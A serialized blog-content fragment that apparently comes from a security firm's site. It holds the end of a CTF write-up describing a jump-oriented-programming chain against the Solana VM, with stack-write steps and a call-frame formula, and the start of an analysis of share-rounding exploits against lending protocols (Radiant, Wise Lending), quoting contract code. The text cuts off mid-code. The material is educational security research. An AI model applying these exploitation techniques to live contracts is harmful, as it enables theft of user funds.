"children":43863},{"style":160},[43864],{"type":29,"value":114},{"type":23,"tag":141,"props":43866,"children":43867},{"style":725},[43868],{"type":29,"value":4534},{"type":23,"tag":141,"props":43870,"children":43871},{"style":154},[43872],{"type":29,"value":480},{"type":23,"tag":141,"props":43874,"children":43875},{"style":750},[43876],{"type":29,"value":43877},"signers_seeds_addr",{"type":23,"tag":141,"props":43879,"children":43880},{"style":160},[43881],{"type":29,"value":114},{"type":23,"tag":141,"props":43883,"children":43884},{"style":160},[43885],{"type":29,"value":8496},{"type":23,"tag":141,"props":43887,"children":43888},{"style":449},[43889],{"type":29,"value":8334},{"type":23,"tag":141,"props":43891,"children":43892},{"style":725},[43893],{"type":29,"value":13310},{"type":23,"tag":141,"props":43895,"children":43896},{"style":154},[43897],{"type":29,"value":480},{"type":23,"tag":141,"props":43899,"children":43900},{"style":750},[43901],{"type":29,"value":43902},"signers_seeds_len",{"type":23,"tag":141,"props":43904,"children":43905},{"style":160},[43906],{"type":29,"value":114},{"type":23,"tag":141,"props":43908,"children":43909},{"style":725},[43910],{"type":29,"value":4534},{"type":23,"tag":141,"props":43912,"children":43913},{"style":154},[43914],{"type":29,"value":1748},{"type":23,"tag":141,"props":43916,"children":43917},{"style":160},[43918],{"type":29,"value":12435},{"type":23,"tag":141,"props":43920,"children":43921},{"style":725},[43922],{"type":29,"value":11875},{"type":23,"tag":32,"props":43924,"children":43925},{},[43926,43928,43933,43935,43942],{"type":29,"value":43927},"The source of ",{"type":23,"tag":55,"props":43929,"children":43931},{"href":43930},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[43932],{"type":29,"value":42543},{"type":29,"value":43934}," helps a lot, but looking at the actual ",{"type":23,"tag":55,"props":43936,"children":43939},{"href":43937,"rel":43938},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[59],[43940],{"type":29,"value":43941},"implementation",{"type":29,"value":43943}," provides more clarity:",{"type":23,"tag":15362,"props":43945,"children":43946},{},[43947],{"type":23,"tag":120,"props":43948,"children":43949},{},[43950,43955,43957,43964],{"type":23,"tag":38,"props":43951,"children":43953},{"className":43952},[],[43954],{"type":29,"value":43810},{"type":29,"value":43956}," points to a ",{"type":23,"tag":55,"props":43958,"children":43961},{"href":43959,"rel":43960},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[59],[43962],{"type":29,"value":43963},"StableInstruction",{"type":29,"value":114},{"type":23,"tag":32,"props":43966,"children":43967},{},[43968],{"type":23,"tag":2591,"props":43969,"children":43971},{"alt":43963,"src":43970},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":23,"tag":15362,"props":43973,"children":43974},{},[43975,44000],{"type":23,"tag":120,"props":43976,"children":43977},{},[43978,43983,43985,43990,43992,43999],{"type":23,"tag":38,"props":43979,"children":43981},{"className":43980},[],[43982],{"type":29,"value":43835},{"type":29,"value":43984}," points to a slice of ",{"type":23,"tag":38,"props":43986,"children":43988},{"className":43987},[],[43989],{"type":29,"value":43860},{"type":29,"value":43991}," ",{"type":23,"tag":55,"props":43993,"children":43996},{"href":43994,"rel":43995},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[59],[43997],{"type":29,"value":43998},"AccountInfos",{"type":29,"value":322},{"type":23,"tag":120,"props":44001,"children":44002},{},[44003,44008,44010,44015,44017,44022],{"type":23,"tag":38,"props":44004,"children":44006},{"className":44005},[],[44007],{"type":29,"value":43877},{"type":29,"value":44009}," is a bit trickier, it points to a slice of length ",{"type":23,"tag":38,"props":44011,"children":44013},{"className":44012},[],[44014],{"type":29,"value":43902},{"type":29,"value":44016},", containing slices of ",{"type":23,"tag":38,"props":44018,"children":44020},{"className":44019},[],[44021],{"type":29,"value":2081},{"type":29,"value":322},{"type":23,"tag":32,"props":44024,"children":44025},{},[44026],{"type":23,"tag":2591,"props":44027,"children":44030},{"alt":44028,"src":44029},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":23,"tag":32,"props":44032,"children":44033},{},[44034,44036,44041],{"type":29,"value":44035},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":23,"tag":47,"props":44037,"children":44038},{},[44039],{"type":29,"value":44040},"future call frames",{"type":29,"value":322},{"type":23,"tag":32,"props":44043,"children":44044},{},[44045,44047,44054],{"type":29,"value":44046},"Now that we have all the parts, all we need is to string it together. The full ",{"type":23,"tag":55,"props":44048,"children":44051},{"href":44049,"rel":44050},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[59],[44052],{"type":29,"value":44053},"reference solution can be found here",{"type":29,"value":322},{"type":23,"tag":32,"props":44056,"children":44057},{},[44058],{"type":29,"value":44059},"Here's a visualization of the final JOP chain.",{"type":23,"tag":131,"props":44061,"children":44063},{"className":42425,"code":44062,"language":42427,"meta":7,"style":7},"graph BT\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: Write account_infos.ptr to target_r10 - 136]\n C --> E[3: process]\n E --> F[4: Write account_infos.len to target_r10 - 128]\n E --> G[4: process]\n G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n G --> I[5: process]\n I --> J[6: Write signers_seeds.len to target_r10 - 144]\n I --> K[6: process]\n K --> M[7: Write HeapBase to target_r10 - 120]\n K --> N[7: process]\n N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n N --> O[8: Write 0x4337 to the account]\n",[44064],{"type":23,"tag":38,"props":44065,"children":44066},{"__ignoreMap":7},[44067,44075,44082,44089,44097,44104,44112,44120,44128,44136,44144,44152,44160,44168,44176],{"type":23,"tag":141,"props":44068,"children":44069},{"class":143,"line":144},[44070],{"type":23,"tag":141,"props":44071,"children":44072},{},[44073],{"type":29,"value":44074},"graph BT\n",{"type":23,"tag":141,"props":44076,"children":44077},{"class":143,"line":180},[44078],{"type":23,"tag":141,"props":44079,"children":44080},{},[44081],{"type":29,"value":42447},{"type":23,"tag":141,"props":44083,"children":44084},{"class":143,"line":205},[44085],{"type":23,"tag":141,"props":44086,"children":44087},{},[44088],{"type":29,"value":42455},{"type":23,"tag":141,"props":44090,"children":44091},{"class":143,"line":218},[44092],{"type":23,"tag":141,"props":44093,"children":44094},{},[44095],{"type":29,"value":44096}," C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":23,"tag":141,"props":44098,"children":44099},{"class":143,"line":227},[44100],{"type":23,"tag":141,"props":44101,"children":44102},{},[44103],{"type":29,"value":42471},{"type":23,"tag":141,"props":44105,"children":44106},{"class":143,"line":241},[44107],{"type":23,"tag":141,"props":44108,"children":44109},{},[44110],{"type":29,"value":44111}," E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":23,"tag":141,"props":44113,"children":44114},{"class":143,"line":262},[44115],{"type":23,"tag":141,"props":44116,"children":44117},{},[44118],{"type":29,"value":44119}," E --> G[4: process]\n",{"type":23,"tag":141,"props":44121,"children":44122},{"class":143,"line":271},[44123],{"type":23,"tag":141,"props":44124,"children":44125},{},[44126],{"type":29,"value":44127}," G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":23,"tag":141,"props":44129,"children":44130},{"class":143,"line":293},[44131],{"type":23,"tag":141,"props":44132,"children":44133},{},[44134],{"type":29,"value":44135}," G --> I[5: process]\n",{"type":23,"tag":141,"props":44137,"children":44138},{"class":143,"line":801},[44139],{"type":23,"tag":141,"props":44140,"children":44141},{},[44142],{"type":29,"value":44143}," I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":23,"tag":141,"props":44145,"children":44146},{"class":143,"line":810},[44147],{"type":23,"tag":141,"props":44148,"children":44149},{},[44150],{"type":29,"value":44151}," I --> K[6: process]\n",{"type":23,"tag":141,"props":44153,"children":44154},{"class":143,"line":824},[44155],{"type":23,"tag":141,"props":44156,"children":44157},{},[44158],{"type":29,"value":44159}," K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":23,"tag":141,"props":44161,"children":44162},{"class":143,"line":839},[44163],{"type":23,"tag":141,"props":44164,"children":44165},{},[44166],{"type":29,"value":44167}," K --> N[7: process]\n",{"type":23,"tag":141,"props":44169,"children":44170},{"class":143,"line":848},[44171],{"type":23,"tag":141,"props":44172,"children":44173},{},[44174],{"type":29,"value":44175}," N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":23,"tag":141,"props":44177,"children":44178},{"class":143,"line":2304},[44179],{"type":23,"tag":141,"props":44180,"children":44181},{},[44182],{"type":29,"value":44183}," N --> O[8: Write 0x4337 to the account]\n",{"type":23,"tag":32,"props":44185,"children":44186},{},[44187,44189,44195],{"type":29,"value":44188},"Small note: ",{"type":23,"tag":38,"props":44190,"children":44192},{"className":44191},[],[44193],{"type":29,"value":44194},"target_r10",{"type":29,"value":44196}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":23,"tag":131,"props":44198,"children":44200},{"className":1639,"code":44199,"language":1638,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n 0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[44201],{"type":23,"tag":38,"props":44202,"children":44203},{"__ignoreMap":7},[44204,44249,44284,44291],{"type":23,"tag":141,"props":44205,"children":44206},{"class":143,"line":144},[44207,44211,44216,44220,44225,44229,44233,44237,44241,44245],{"type":23,"tag":141,"props":44208,"children":44209},{"style":449},[44210],{"type":29,"value":18938},{"type":23,"tag":141,"props":44212,"children":44213},{"style":184},[44214],{"type":29,"value":44215}," call_frame_addr",{"type":23,"tag":141,"props":44217,"children":44218},{"style":154},[44219],{"type":29,"value":192},{"type":23,"tag":141,"props":44221,"children":44222},{"style":750},[44223],{"type":29,"value":44224},"depth",{"type":23,"tag":141,"props":44226,"children":44227},{"style":160},[44228],{"type":29,"value":114},{"type":23,"tag":141,"props":44230,"children":44231},{"style":725},[44232],{"type":29,"value":4534},{"type":23,"tag":141,"props":44234,"children":44235},{"style":154},[44236],{"type":29,"value":1748},{"type":23,"tag":141,"props":44238,"children":44239},{"style":160},[44240],{"type":29,"value":12435},{"type":23,"tag":141,"props":44242,"children":44243},{"style":725},[44244],{"type":29,"value":4534},{"type":23,"tag":141,"props":44246,"children":44247},{"style":154},[44248],{"type":29,"value":1951},{"type":23,"tag":141,"props":44250,"children":44251},{"class":143,"line":180},[44252,44257,44261,44266,44270,44275,44279],{"type":23,"tag":141,"props":44253,"children":44254},{"style":472},[44255],{"type":29,"value":44256}," 0x200000000",{"type":23,"tag":141,"props":44258,"children":44259},{"style":160},[44260],{"type":29,"value":7581},{"type":23,"tag":141,"props":44262,"children":44263},{"style":472},[44264],{"type":29,"value":44265}," 0x2000",{"type":23,"tag":141,"props":44267,"children":44268},{"style":160},[44269],{"type":29,"value":8496},{"type":23,"tag":141,"props":44271,"children":44272},{"style":750},[44273],{"type":29,"value":44274}," depth",{"type":23,"tag":141,"props":44276,"children":44277},{"style":160},[44278],{"type":29,"value":7581},{"type":23,"tag":141,"props":44280,"children":44281},{"style":472},[44282],{"type":29,"value":44283}," 0x1000\n",{"type":23,"tag":141,"props":44285,"children":44286},{"class":143,"line":205},[44287],{"type":23,"tag":141,"props":44288,"children":44289},{"style":154},[44290],{"type":29,"value":2573},{"type":23,"tag":141,"props":44292,"children":44293},{"class":143,"line":218},[44294],{"type":23,"tag":141,"props":44295,"children":44296},{"style":443},[44297],{"type":29,"value":44298},"// call_frame_addr(8) = 0x200011000\n",{"type":23,"tag":24,"props":44300,"children":44301},{"id":27618},[44302],{"type":29,"value":17618},{"type":23,"tag":32,"props":44304,"children":44305},{},[44306,44308,44315],{"type":29,"value":44307},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":23,"tag":55,"props":44309,"children":44312},{"href":44310,"rel":44311},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[59],[44313],{"type":29,"value":44314},"they do exist",{"type":29,"value":322},{"type":23,"tag":32,"props":44317,"children":44318},{},[44319],{"type":29,"value":44320},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":23,"tag":32,"props":44322,"children":44323},{},[44324,44326,44331],{"type":29,"value":44325},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":23,"tag":47,"props":44327,"children":44328},{},[44329],{"type":29,"value":44330},"entire",{"type":29,"value":44332}," runtime.",{"type":23,"tag":1508,"props":44334,"children":44335},{},[44336],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":44338},[44339,44343,44344,44347],{"id":17627,"depth":180,"text":17630,"children":44340},[44341,44342],{"id":39013,"depth":205,"text":39016},{"id":40332,"depth":205,"text":40335},{"id":41571,"depth":180,"text":41574},{"id":42407,"depth":180,"text":42410,"children":44345},[44346],{"id":42521,"depth":205,"text":42524},{"id":27618,"depth":180,"text":17618},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":44352,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":44353,"description":44354,"author":44355,"image":44356,"date":44358,"isFeatured":15,"onBlogPage":15,"body":44359,"_type":1522,"_id":45505,"_source":1524,"_file":45506,"_stem":45507,"_extension":1527},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[10],{"src":44357},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":20,"children":44360,"toc":45494},[44361,44365,44393,44398,44411,44416,44422,44427,44432,44437,44442,44455,44467,44487,44507,44512,44517,44535,44541,44546,44552,44566,44579,44584,44590,44604,44609,44631,44864,44869,44874,44887,45127,45137,45142,45148,45153,45158,45191,45196,45207,45213,45218,45232,45360,45374,45450,45455,45466,45471,45476,45480,45485,45490],{"type":23,"tag":24,"props":44362,"children":44363},{"id":26},[44364],{"type":29,"value":30},{"type":23,"tag":32,"props":44366,"children":44367},{},[44368,44370,44377,44378,44385,44387,44392],{"type":29,"value":44369},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":23,"tag":55,"props":44371,"children":44374},{"href":44372,"rel":44373},"https://neodyme.io/de/blog/lending_disclosure",[59],[44375],{"type":29,"value":44376},"fast",{"type":29,"value":480},{"type":23,"tag":55,"props":44379,"children":44382},{"href":44380,"rel":44381},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[59],[44383],{"type":29,"value":44384},"cheap",{"type":29,"value":44386}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":23,"tag":47,"props":44388,"children":44389},{},[44390],{"type":29,"value":44391},"Most people haven't considered what happens when shares are worth a lot",{"type":29,"value":322},{"type":23,"tag":32,"props":44394,"children":44395},{},[44396],{"type":29,"value":44397},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":23,"tag":116,"props":44399,"children":44400},{},[44401,44406],{"type":23,"tag":120,"props":44402,"children":44403},{},[44404],{"type":29,"value":44405},"Inflate share value (token to share conversion rate)",{"type":23,"tag":120,"props":44407,"children":44408},{},[44409],{"type":29,"value":44410},"Exploit rounding bug",{"type":23,"tag":32,"props":44412,"children":44413},{},[44414],{"type":29,"value":44415},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":23,"tag":24,"props":44417,"children":44419},{"id":44418},"model",[44420],{"type":29,"value":44421},"Model",{"type":23,"tag":32,"props":44423,"children":44424},{},[44425],{"type":29,"value":44426},"Before we dive in, there's some helpful background information we'll share first.",{"type":23,"tag":32,"props":44428,"children":44429},{},[44430],{"type":29,"value":44431},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":23,"tag":32,"props":44433,"children":44434},{},[44435],{"type":29,"value":44436},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":23,"tag":32,"props":44438,"children":44439},{},[44440],{"type":29,"value":44441},"This question is more complex than it may appear. Let's walk through an example.",{"type":23,"tag":32,"props":44443,"children":44444},{},[44445,44447,44453],{"type":29,"value":44446},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":23,"tag":38,"props":44448,"children":44450},{"className":44449},[],[44451],{"type":29,"value":44452},"1000:1000",{"type":29,"value":44454}," (1000 tokens to 1000 shares).",{"type":23,"tag":32,"props":44456,"children":44457},{},[44458,44460,44466],{"type":29,"value":44459},"After accruing fees, the pool gains one token for a new ratio of ",{"type":23,"tag":38,"props":44461,"children":44463},{"className":44462},[],[44464],{"type":29,"value":44465},"1001:1000",{"type":29,"value":322},{"type":23,"tag":32,"props":44468,"children":44469},{},[44470,44472,44478,44480,44485],{"type":29,"value":44471},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":23,"tag":38,"props":44473,"children":44475},{"className":44474},[],[44476],{"type":29,"value":44477},"1001/1000*999 = 999.999",{"type":29,"value":44479},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":23,"tag":47,"props":44481,"children":44482},{},[44483],{"type":29,"value":44484},"down",{"type":29,"value":44486}," against the user.",{"type":23,"tag":32,"props":44488,"children":44489},{},[44490,44492,44498,44500,44506],{"type":29,"value":44491},"If we give the user 999 tokens, the new pool state is ",{"type":23,"tag":38,"props":44493,"children":44495},{"className":44494},[],[44496],{"type":29,"value":44497},"2:1",{"type":29,"value":44499},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":23,"tag":38,"props":44501,"children":44503},{"className":44502},[],[44504],{"type":29,"value":44505},"3:1",{"type":29,"value":322},{"type":23,"tag":32,"props":44508,"children":44509},{},[44510],{"type":29,"value":44511},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":23,"tag":32,"props":44513,"children":44514},{},[44515],{"type":29,"value":44516},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":23,"tag":116,"props":44518,"children":44519},{},[44520,44525,44530],{"type":23,"tag":120,"props":44521,"children":44522},{},[44523],{"type":29,"value":44524},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":23,"tag":120,"props":44526,"children":44527},{},[44528],{"type":29,"value":44529},"When you withdraw, are you withdrawing shares or tokens?",{"type":23,"tag":120,"props":44531,"children":44532},{},[44533],{"type":29,"value":44534},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":23,"tag":24,"props":44536,"children":44538},{"id":44537},"decisions",[44539],{"type":29,"value":44540},"Decisions",{"type":23,"tag":32,"props":44542,"children":44543},{},[44544],{"type":29,"value":44545},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":23,"tag":8287,"props":44547,"children":44549},{"id":44548},"radiant-capital",[44550],{"type":29,"value":44551},"Radiant Capital",{"type":23,"tag":32,"props":44553,"children":44554},{},[44555,44557,44564],{"type":29,"value":44556},"Radiant Capital was ",{"type":23,"tag":55,"props":44558,"children":44561},{"href":44559,"rel":44560},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[59],[44562],{"type":29,"value":44563},"hacked on Jan 2nd",{"type":29,"value":44565}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":23,"tag":32,"props":44567,"children":44568},{},[44569,44571,44578],{"type":29,"value":44570},"The exploit is relatively straightforward and ",{"type":23,"tag":55,"props":44572,"children":44575},{"href":44573,"rel":44574},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[59],[44576],{"type":29,"value":44577},"has already been covered previously",{"type":29,"value":322},{"type":23,"tag":32,"props":44580,"children":44581},{},[44582],{"type":29,"value":44583},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":23,"tag":8287,"props":44585,"children":44587},{"id":44586},"wise-lending",[44588],{"type":29,"value":44589},"Wise Lending",{"type":23,"tag":32,"props":44591,"children":44592},{},[44593,44595,44602],{"type":29,"value":44594},"Wise Lending was ",{"type":23,"tag":55,"props":44596,"children":44599},{"href":44597,"rel":44598},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[59],[44600],{"type":29,"value":44601},"hacked on January 13th",{"type":29,"value":44603}," for just under $460,000.",{"type":23,"tag":32,"props":44605,"children":44606},{},[44607],{"type":29,"value":44608},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":23,"tag":32,"props":44610,"children":44611},{},[44612,44614,44621,44623,44630],{"type":29,"value":44613},"This is ",{"type":23,"tag":55,"props":44615,"children":44618},{"href":44616,"rel":44617},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[59],[44619],{"type":29,"value":44620},"the code responsible",{"type":29,"value":44622}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":23,"tag":55,"props":44624,"children":44627},{"href":44625,"rel":44626},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[59],[44628],{"type":29,"value":44629},"no way to atomically self-bankrupt",{"type":29,"value":322},{"type":23,"tag":131,"props":44632,"children":44634},{"className":432,"code":44633,"language":17,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n _poolToken,\n _amount\n)\n * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n / PRECISION_FACTOR_E18\n \u003C borrowAmount;\n\nif (state == true) {\n revert ResultsInBadDebt();\n}\n",[44635],{"type":23,"tag":38,"props":44636,"children":44637},{"__ignoreMap":7},[44638,44669,44677,44685,44692,44714,44727,44734,44755,44785,44797,44809,44816,44840,44857],{"type":23,"tag":141,"props":44639,"children":44640},{"class":143,"line":144},[44641,44646,44651,44655,44660,44665],{"type":23,"tag":141,"props":44642,"children":44643},{"style":725},[44644],{"type":29,"value":44645},"uint256",{"type":23,"tag":141,"props":44647,"children":44648},{"style":154},[44649],{"type":29,"value":44650}," withdrawValue ",{"type":23,"tag":141,"props":44652,"children":44653},{"style":160},[44654],{"type":29,"value":1377},{"type":23,"tag":141,"props":44656,"children":44657},{"style":154},[44658],{"type":29,"value":44659}," WISE_ORACLE.",{"type":23,"tag":141,"props":44661,"children":44662},{"style":184},[44663],{"type":29,"value":44664},"getTokensInETH",{"type":23,"tag":141,"props":44666,"children":44667},{"style":154},[44668],{"type":29,"value":2123},{"type":23,"tag":141,"props":44670,"children":44671},{"class":143,"line":180},[44672],{"type":23,"tag":141,"props":44673,"children":44674},{"style":154},[44675],{"type":29,"value":44676}," _poolToken,\n",{"type":23,"tag":141,"props":44678,"children":44679},{"class":143,"line":205},[44680],{"type":23,"tag":141,"props":44681,"children":44682},{"style":154},[44683],{"type":29,"value":44684}," _amount\n",{"type":23,"tag":141,"props":44686,"children":44687},{"class":143,"line":218},[44688],{"type":23,"tag":141,"props":44689,"children":44690},{"style":154},[44691],{"type":29,"value":758},{"type":23,"tag":141,"props":44693,"children":44694},{"class":143,"line":227},[44695,44699,44704,44709],{"type":23,"tag":141,"props":44696,"children":44697},{"style":160},[44698],{"type":29,"value":16238},{"type":23,"tag":141,"props":44700,"children":44701},{"style":154},[44702],{"type":29,"value":44703}," WISE_LENDING.",{"type":23,"tag":141,"props":44705,"children":44706},{"style":184},[44707],{"type":29,"value":44708},"lendingPoolData",{"type":23,"tag":141,"props":44710,"children":44711},{"style":154},[44712],{"type":29,"value":44713},"(_poolToken).collateralFactor\n",{"type":23,"tag":141,"props":44715,"children":44716},{"class":143,"line":241},[44717,44722],{"type":23,"tag":141,"props":44718,"children":44719},{"style":160},[44720],{"type":29,"value":44721}," /",{"type":23,"tag":141,"props":44723,"children":44724},{"style":154},[44725],{"type":29,"value":44726}," PRECISION_FACTOR_E18;\n",{"type":23,"tag":141,"props":44728,"children":44729},{"class":143,"line":262},[44730],{"type":23,"tag":141,"props":44731,"children":44732},{"emptyLinePlaceholder":15},[44733],{"type":29,"value":719},{"type":23,"tag":141,"props":44735,"children":44736},{"class":143,"line":271},[44737,44741,44746,44750],{"type":23,"tag":141,"props":44738,"children":44739},{"style":725},[44740],{"type":29,"value":747},{"type":23,"tag":141,"props":44742,"children":44743},{"style":154},[44744],{"type":29,"value":44745}," state ",{"type":23,"tag":141,"props":44747,"children":44748},{"style":160},[44749],{"type":29,"value":1377},{"type":23,"tag":141,"props":44751,"children":44752},{"style":154},[44753],{"type":29,"value":44754}," borrowPercentageCap\n",{"type":23,"tag":141,"props":44756,"children":44757},{"class":143,"line":293},[44758,44762,44766,44771,44776,44780],{"type":23,"tag":141,"props":44759,"children":44760},{"style":160},[44761],{"type":29,"value":16238},{"type":23,"tag":141,"props":44763,"children":44764},{"style":154},[44765],{"type":29,"value":1220},{"type":23,"tag":141,"props":44767,"children":44768},{"style":184},[44769],{"type":29,"value":44770},"overallETHCollateralsWeighted",{"type":23,"tag":141,"props":44772,"children":44773},{"style":154},[44774],{"type":29,"value":44775},"(_nftId) ",{"type":23,"tag":141,"props":44777,"children":44778},{"style":160},[44779],{"type":29,"value":3004},{"type":23,"tag":141,"props":44781,"children":44782},{"style":154},[44783],{"type":29,"value":44784}," withdrawValue)\n",{"type":23,"tag":141,"props":44786,"children":44787},{"class":143,"line":801},[44788,44792],{"type":23,"tag":141,"props":44789,"children":44790},{"style":160},[44791],{"type":29,"value":44721},{"type":23,"tag":141,"props":44793,"children":44794},{"style":154},[44795],{"type":29,"value":44796}," PRECISION_FACTOR_E18\n",{"type":23,"tag":141,"props":44798,"children":44799},{"class":143,"line":810},[44800,44804],{"type":23,"tag":141,"props":44801,"children":44802},{"style":160},[44803],{"type":29,"value":30914},{"type":23,"tag":141,"props":44805,"children":44806},{"style":154},[44807],{"type":29,"value":44808}," borrowAmount;\n",{"type":23,"tag":141,"props":44810,"children":44811},{"class":143,"line":824},[44812],{"type":23,"tag":141,"props":44813,"children":44814},{"emptyLinePlaceholder":15},[44815],{"type":29,"value":719},{"type":23,"tag":141,"props":44817,"children":44818},{"class":143,"line":839},[44819,44823,44828,44832,44836],{"type":23,"tag":141,"props":44820,"children":44821},{"style":148},[44822],{"type":29,"value":14255},{"type":23,"tag":141,"props":44824,"children":44825},{"style":154},[44826],{"type":29,"value":44827}," (state ",{"type":23,"tag":141,"props":44829,"children":44830},{"style":160},[44831],{"type":29,"value":7251},{"type":23,"tag":141,"props":44833,"children":44834},{"style":449},[44835],{"type":29,"value":11148},{"type":23,"tag":141,"props":44837,"children":44838},{"style":154},[44839],{"type":29,"value":13480},{"type":23,"tag":141,"props":44841,"children":44842},{"class":143,"line":848},[44843,44848,44853],{"type":23,"tag":141,"props":44844,"children":44845},{"style":148},[44846],{"type":29,"value":44847}," revert",{"type":23,"tag":141,"props":44849,"children":44850},{"style":184},[44851],{"type":29,"value":44852}," ResultsInBadDebt",{"type":23,"tag":141,"props":44854,"children":44855},{"style":154},[44856],{"type":29,"value":1305},{"type":23,"tag":141,"props":44858,"children":44859},{"class":143,"line":2304},[44860],{"type":23,"tag":141,"props":44861,"children":44862},{"style":154},[44863],{"type":29,"value":2573},{"type":23,"tag":32,"props":44865,"children":44866},{},[44867],{"type":29,"value":44868},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":23,"tag":32,"props":44870,"children":44871},{},[44872],{"type":29,"value":44873},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":23,"tag":32,"props":44875,"children":44876},{},[44877,44879,44885],{"type":29,"value":44878},"And indeed, ",{"type":23,"tag":55,"props":44880,"children":44883},{"href":44881,"rel":44882},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[59],[44884],{"type":29,"value":44589},{"type":29,"value":44886}," rounds up the share value.",{"type":23,"tag":131,"props":44888,"children":44890},{"className":432,"code":44889,"language":17,"meta":7,"style":7},"function _calculateShares(\n uint256 _product,\n uint256 _pseudo,\n bool _maxSharePrice\n)\n private\n pure\n returns (uint256)\n{\n return _maxSharePrice == true\n ? _product % _pseudo == 0\n ? _product / _pseudo\n : _product / _pseudo + 1\n : _product / _pseudo;\n}\n",[44891],{"type":23,"tag":38,"props":44892,"children":44893},{"__ignoreMap":7},[44894,44910,44927,44943,44956,44963,44971,44979,44999,45006,45027,45048,45070,45099,45120],{"type":23,"tag":141,"props":44895,"children":44896},{"class":143,"line":144},[44897,44901,44906],{"type":23,"tag":141,"props":44898,"children":44899},{"style":449},[44900],{"type":29,"value":29845},{"type":23,"tag":141,"props":44902,"children":44903},{"style":184},[44904],{"type":29,"value":44905}," _calculateShares",{"type":23,"tag":141,"props":44907,"children":44908},{"style":154},[44909],{"type":29,"value":2123},{"type":23,"tag":141,"props":44911,"children":44912},{"class":143,"line":180},[44913,44918,44923],{"type":23,"tag":141,"props":44914,"children":44915},{"style":725},[44916],{"type":29,"value":44917}," 